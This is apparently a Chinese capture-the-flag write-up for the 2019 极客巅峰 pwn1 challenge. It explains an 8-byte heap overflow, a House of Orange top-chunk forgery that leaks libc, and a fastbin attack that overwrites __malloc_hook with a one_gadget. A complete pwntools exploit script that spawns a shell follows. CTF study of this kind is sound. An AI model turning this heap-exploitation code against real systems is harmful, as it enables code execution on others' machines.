2019 极客巅峰 pwn1 write up

程序逻辑分析:
2019 极客巅峰 pwn1 write up_第1张图片
常规操作, 但是只能show和 delete一次note, 经过add操作后的note无编号, 所有操作都是针对ptr指向的chunk进行

漏洞点:
2019 极客巅峰 pwn1 write up_第2张图片
在edit内 可以造成8字节的溢出, 所以可以改写下一个chunk的size或改写top_chunk 的size

漏洞利用:
由于题目限制了show和delete的次数, 只能控制当前add的note的指针, 所以无法通过uaf 来获得一个进入unsortedbin中的chunk, 但是可以通过改写top_chunk的size来触发sys_malloc
1. 如果top_chunk 的size小于需要创建的chunk的size, 则会使用sysmalloc分配新的内存区域, 如果申请大小>=mp_.mmap_threshold(128 * 1024) 则会使用mmap分配一块内存, 否则会拓展当前的top_chunk
目的是拓展top_chunk, 所以分配的大小要小于mp_.mmap-threshold

2.为了使旧top_chunk进入unsortedbin中,需要调用sysmalloc中的_int_free 函数, _int_free 函数会把旧的top_chunk free掉,然后设置新的top_chunk, 为此需要绕过两个assert检查

assert ((old_top == initial_top (av) && old_size == 0) ||
  ((unsigned long) (old_size) >= MINSIZE &&
   prev_inuse (old_top) &&
   ((unsigned long) old_end & (pagesize - 1)) == 0));
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

绕过条件:
伪造的top_chunk的size需要满足

1.大于MINSIZE(0X10)
2.prev_inuse 标志位置位1
3.小于need size + MINSIZE(需要分配的chunk的size
4.old_top + old_size 必须满足页面对齐(这里不懂…

前三个条件容易满足, 第四个条件 假如原top_chunk
的size为0x20f91, 那么伪造的top_chunk的size设置为0xf91即可满足条件(不知道为什么, 先照着做

3. 伪造完top_chunk的size后再分配一个大小合适chunk, 这是old top_chunk就进入了unsortedibn中, 这时就可以泄露libc地址了

4.泄露完libc地址之后就是常规的fastbin attack了

EXP:

from pwn import *
import struct

context(arch='amd64', os='linux', log_level='debug')
debug = 1
d = 0

if debug == 0:
	p = process("./i_pwn")
	if d == 1:
		gdb.attach(p)
else:
	p = remote("55fca716.gamectf.com", 37009)

def add(size, content = ""):
	p.sendlineafter("Your choice > ", str(1))
	
	p.sendlineafter("Size > ", str(size))
	p.sendlineafter("Content >", content)

def show():
	p.sendlineafter("Your choice > ", str(2))

def delete():
	p.sendlineafter("Your choice > ", str(3))

def edit(size, content):
	p.sendlineafter("Your choice > ", str(4))

	p.sendlineafter("Size > ", str(size))
	p.sendafter("Content >", content)

p.sendlineafter("What's your name?", "cx")

add(0x68)

edit(0x70, 'a'*0x68 + p64(0xf91))

add(0x1000)

add(0x68, 'a'*7)

show()

p.recvuntil('a'*7 + '\n')

leak = p.recvline()[:6]
print "leak-> " + leak

libc_addr = struct.unpack(", leak.ljust(8, '\x00'))[0]
print "libc_addr-> " + hex(libc_addr)

libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

libc_base = libc_addr - (0x7f32b6967188 - 0x7f32b65a2000)
print "libc_base-> " + hex(libc_base)

malloc_hook = libc_base + libc.symbols['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
one_gadget = libc_base + 0x4526a

print "malloc_hook-> " + hex(malloc_hook)
print "realloc_> " + hex(realloc)
print "one_gadget-> " + hex(one_gadget)
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

delete()

edit(0x68, p64(malloc_hook - 0x23))

#raw_input()

add(0x68)

add(0x68)

payload = 'a'*(0x13 - 0x8) + p64(one_gadget) + p64(realloc+12)
edit(len(payload), payload)

#raw_input()

p.sendlineafter("Your choice > ", str(1))
p.sendlineafter("Size > ", str(10))

p.interactive()

house of orange资料链接
house of orange
堆溢出-house of orange 学习笔记
Pwning My life Hitcon -house of orange

你可能感兴趣的:(PWN)